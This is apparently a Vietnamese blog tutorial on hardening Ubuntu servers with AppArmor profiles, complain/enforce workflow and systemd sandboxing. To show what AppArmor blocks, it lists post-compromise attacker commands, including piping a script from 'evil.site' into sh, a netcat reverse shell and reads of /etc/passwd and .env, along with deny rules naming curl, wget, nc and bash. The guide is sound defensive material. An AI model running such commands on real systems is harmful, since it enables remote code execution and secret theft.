Secure Ubuntu bằng AppArmor: Chặn vượt quyền thực chiến

14/05/2026 · P T P · Chung

Secure Ubuntu server bằng AppArmor: chặn tiến trình vượt quyền thực tế

Một server Ubuntu bị xâm nhập hiếm khi “nổ tung” ngay lập tức. Thường hơn: attacker lấy được quyền trong một tiến trình nhỏ—web app, cron job, worker, service nội bộ—rồi tìm cách đọc file nhạy cảm, ghi shell, gọi binary hệ thống, mở kết nối lạ, leo thang quyền. Vấn đề: Linux permission truyền thống chỉ kiểm soát theo user/group. Nếu tiến trình chạy dưới user có quyền đọc file nào đó, nó đọc được. Nếu nó gọi được /bin/bash, nó gọi. Nếu nó ghi được thư mục, nó thả payload.

AppArmor giải quyết bằng Mandatory Access Control: không chỉ hỏi “user này được làm gì?”, mà hỏi thêm “tiến trình này, trong profile này, được chạm vào tài nguyên nào?”. Kể cả process chạy đúng user, đúng quyền Unix, AppArmor vẫn có thể chặn.

Kết quả: exploit thành công ở tầng ứng dụng → thiệt hại bị khoanh vùng.


AppArmor là gì, khác gì chmod/firewall?

AppArmor là cơ chế MAC trên Linux, mặc định có sẵn trên Ubuntu. Nó gắn policy vào chương trình theo path, ví dụ:

/usr/sbin/nginx
/usr/bin/python3
/usr/bin/php-fpm8.2
/opt/myapp/bin/worker

Policy quy định process được:

– đọc/ghi file nào;
– execute binary nào;
– dùng capability nào;
– truy cập network không;
– dùng signal, ptrace, mount, dbus… không.

So với công cụ khác:

chmod/chown → quyền theo file/user.
ufw/iptables → network.
systemd hardening → sandbox service-level.
AppArmor → policy chi tiết theo tiến trình.

Điểm mạnh: dễ đọc hơn SELinux, tích hợp tốt Ubuntu, triển khai nhanh, log rõ.


Vì sao cần AppArmor trên server thực tế?

Giả sử bạn có web app chạy dưới user www-data. App bị RCE. Attacker chạy được code trong process app.

Nếu không có AppArmor, attacker có thể thử:

cat /etc/passwd
cat /etc/nginx/nginx.conf
cat /var/www/app/.env
/bin/bash -i
curl http://evil.site/shell.sh | sh
python3 -c '...'
nc attacker 4444 -e /bin/sh

Nếu process có quyền filesystem tương ứng, hành vi thành công.

Với AppArmor profile chặt:

– app chỉ đọc /var/www/app/**;
– chỉ ghi /var/www/app/storage/**;
– không đọc /etc/** trừ file cần thiết;
– không execute /bin/bash, /usr/bin/curl, /usr/bin/nc;
– không dùng capability nguy hiểm;
– network bị giới hạn.

RCE vẫn nguy hiểm, nhưng attacker bị nhốt trong hộp nhỏ hơn.


Kiểm tra AppArmor trên Ubuntu

Ubuntu thường bật sẵn AppArmor.

sudo aa-status

Kết quả cần chú ý:

apparmor module is loaded.
profiles are loaded.
profiles are in enforce mode.
profiles are in complain mode.

Ý nghĩa:

enforce → vi phạm bị chặn.
complain → chỉ log, không chặn. Dùng khi học policy.
unconfined → process chưa bị profile quản.

Cài công cụ cần thiết:

sudo apt update
sudo apt install apparmor apparmor-utils auditd

Log xem tại:

sudo journalctl -k | grep apparmor
sudo ausearch -m AVC,USER_AVC

Tư duy thiết kế profile: tối thiểu quyền

Không viết profile kiểu “cho chạy hết rồi chặn vài thứ”. Hãy đảo ngược:

deny mặc định → allow đúng nhu cầu.

Câu hỏi trước khi viết:

1. Process cần đọc config nào?
2. Cần ghi thư mục nào?
3. Cần execute binary phụ nào?
4. Cần network outbound không?
5. Cần quyền Linux capability nào?
6. Cần đọc secret không? Nếu có, path cụ thể?
7. Log/cache/temp ở đâu?

Ví dụ web app PHP/Laravel:

– đọc code: /var/www/app/** r
– ghi storage: /var/www/app/storage/** rwk
– đọc env: /var/www/app/.env r
– đọc cert CA: /etc/ssl/certs/** r
– ghi log app: /var/log/myapp/** rw
– không chạy shell;
– không đọc /root/**;
– không đọc /home/**;
– không ghi /tmp tùy tiện nếu không cần.


Tạo profile thực tế cho service custom

Giả sử app chạy bằng systemd:

/opt/myapp/bin/server

Service:

[Service]
User=myapp
ExecStart=/opt/myapp/bin/server
WorkingDirectory=/opt/myapp

Tạo profile:

sudo aa-genprof /opt/myapp/bin/server

Chạy app, thao tác đủ luồng thật:

sudo systemctl restart myapp
curl http://127.0.0.1:8080/
curl http://127.0.0.1:8080/login
curl http://127.0.0.1:8080/api/health

Quay lại terminal aa-genprof, chọn allow/deny theo log.

Profile nằm tại:

/etc/apparmor.d/opt.myapp.bin.server

Ví dụ rút gọn:

#include <tunables/global>

profile opt.myapp.bin.server /opt/myapp/bin/server { #include <abstractions/base> #include <abstractions/nameservice> #include <abstractions/ssl_certs>

network inet stream, network inet6 stream,

/opt/myapp/bin/server rix, /opt/myapp/** r, /opt/myapp/config/*.yaml r,

/var/lib/myapp/** rwk, /var/log/myapp/** rwk, /run/myapp/** rwk,

/etc/ssl/certs/** r, /etc/resolv.conf r, /etc/hosts r,

deny /root/** rwklx, deny /home/** rwklx, deny /etc/shadow r, deny /bin/bash x, deny /bin/sh x, deny /usr/bin/curl x, deny /usr/bin/wget x, deny /usr/bin/nc x,

capability net_bind_service, }

Nạp profile:

sudo apparmor_parser -r /etc/apparmor.d/opt.myapp.bin.server
sudo aa-enforce /etc/apparmor.d/opt.myapp.bin.server
sudo systemctl restart myapp

Kiểm tra:

sudo aa-status | grep myapp

Complain mode: triển khai an toàn hơn

Đừng đưa profile mới vào enforce ngay trên production nếu chưa test.

Quy trình tốt:

1. Tạo profile.
2. Đặt complain.
3. Chạy workload thật.
4. Đọc log denial.
5. Sửa allow tối thiểu.
6. Enforce.
7. Monitor.

Lệnh:

sudo aa-complain /etc/apparmor.d/opt.myapp.bin.server
sudo systemctl restart myapp

Xem log:

sudo journalctl -k -f | grep apparmor

Sau khi ổn:

sudo aa-enforce /etc/apparmor.d/opt.myapp.bin.server

Complain mode giúp giảm rủi ro “policy quá chặt → outage”.


Chặn shell escape: điểm thực chiến cực quan trọng

Nhiều vụ RCE phụ thuộc vào việc gọi shell hoặc tool phụ.

Ví dụ payload:

bash -c 'id; cat /etc/passwd'

Nếu profile deny execute shell:

deny /bin/bash x,
deny /bin/sh x,
deny /usr/bin/dash x,

Payload chết ngay khi exec.

Tương tự với công cụ tải payload:

deny /usr/bin/curl x,
deny /usr/bin/wget x,
deny /usr/bin/python3 x,
deny /usr/bin/perl x,
deny /usr/bin/nc x,
deny /usr/bin/socat x,

Lưu ý: chỉ deny nếu app không cần chúng. Nếu app cần python3 thật, hãy giới hạn execution mode/path, hoặc tách worker riêng với profile riêng.


File permission vẫn cần đúng

AppArmor không thay thế hardening cơ bản.

Nên làm song song:

sudo chown -R root:myapp /opt/myapp
sudo chmod -R o-rwx /opt/myapp
sudo chown -R myapp:myapp /var/lib/myapp /var/log/myapp

Nguyên tắc:

– code/config → app đọc, không ghi;
– data/cache/log → app ghi;
– secret → chỉ process cần đọc;
– deploy user ≠ runtime user;
– không chạy app bằng root.

AppArmor là lớp chặn bổ sung. Unix permission sai → profile khó cứu hết.


Kết hợp AppArmor với systemd hardening

systemd có nhiều option sandbox mạnh. Dùng cùng AppArmor → phòng thủ nhiều lớp.

Ví dụ:

[Service]
User=myapp
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
ReadWritePaths=/var/lib/myapp /var/log/myapp /run/myapp
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
AppArmorProfile=opt.myapp.bin.server

Hiệu quả:

– systemd khóa filesystem rộng;
– AppArmor khóa path/action cụ thể;
– capability bị cắt;
/home bị che;
/tmp riêng;
– process không tự tăng quyền.

Nếu service bị khai thác, attacker gặp nhiều lớp tường thay vì một lớp.


Debug denial: đọc log đúng cách

Log AppArmor thường có dạng:

apparmor="DENIED" operation="open" profile="opt.myapp.bin.server" name="/etc/ssl/openssl.cnf" requested_mask="r" denied_mask="r"

Giải nghĩa:

profile → policy nào chặn.
operation → hành động.
name → file/tài nguyên.
requested_mask → quyền process muốn.
denied_mask → quyền bị từ chối.

Nếu hợp lệ, thêm rule:

/etc/ssl/openssl.cnf r,

Nếu đáng ngờ, giữ deny.

Có thể dùng:

sudo aa-logprof

Công cụ sẽ đọc log, gợi ý rule. Nhưng đừng bấm allow mù. Mỗi allow là mở thêm bề mặt tấn công.


Sai lầm thường gặp

Cho quá rộng

Rule nguy hiểm:

/** rwklx,

Nó gần như phá giá trị profile.

Tốt hơn:

/opt/myapp/** r,
/var/lib/myapp/** rwk,

Dùng complain mãi

Complain chỉ log. Không chặn. Production cần enforce sau giai đoạn học.

Quên process con

App gọi worker, imagemagick, ffmpeg, python script? Cần xét execution mode.

Nếu cho ix hoặc px sai → process con có thể thoát policy hoặc dùng policy khác không chặt.

Không test đường lỗi

App chỉ ghi log lỗi khi lỗi xảy ra. Nếu không test lỗi, profile có thể chặn lúc production gặp incident.

Test cả:

– startup;
– request thường;
– login;
– upload;
– export;
– job nền;
– lỗi DB;
– rotate log;
– restart.


Checklist triển khai nhanh

aa-status → AppArmor bật.
– Service không chạy root.
– Profile riêng cho binary chính.
– Complain trước, enforce sau.
– Chỉ allow path cần thiết.
– Deny shell/tool tải payload nếu không cần.
– Giới hạn capability.
– Kết hợp systemd sandbox.
– Monitor log denial.
– Review profile sau mỗi deploy lớn.


Kết luận thực tế

AppArmor không làm server “bất tử”. Nó không sửa bug SQL injection, không vá dependency lỗi, không thay authentication yếu. Nhưng nó làm một việc cực giá trị: giảm hậu quả khi bug bị khai thác.

Trong mô hình phòng thủ hiện đại, câu hỏi không phải “có bị RCE không?”, mà là: nếu bị RCE, process đó làm được gì? Với AppArmor, câu trả lời có thể chuyển từ “đọc secret, gọi shell, tải payload, pivot” thành “bị chặn, log lại, thiệt hại giới hạn”.

Bắt đầu từ một service quan trọng nhất. Viết profile nhỏ. Chạy complain. Quan sát. Enforce. Lặp lại. Sau vài vòng, Ubuntu server của bạn không chỉ “được cấu hình”, mà thật sự có khả năng chặn tiến trình vượt quyền trong tình huống thực tế.

#apparmor #bang #chan #secure #ubuntu
Chia sẻ:
← Trước
Thiết lập SSL miễn phí Let’s Encrypt cho Ubuntu chuẩn HTTPS

Bài viết tương tự

Bình luận

Chưa có bình luận. Hãy là người đầu tiên!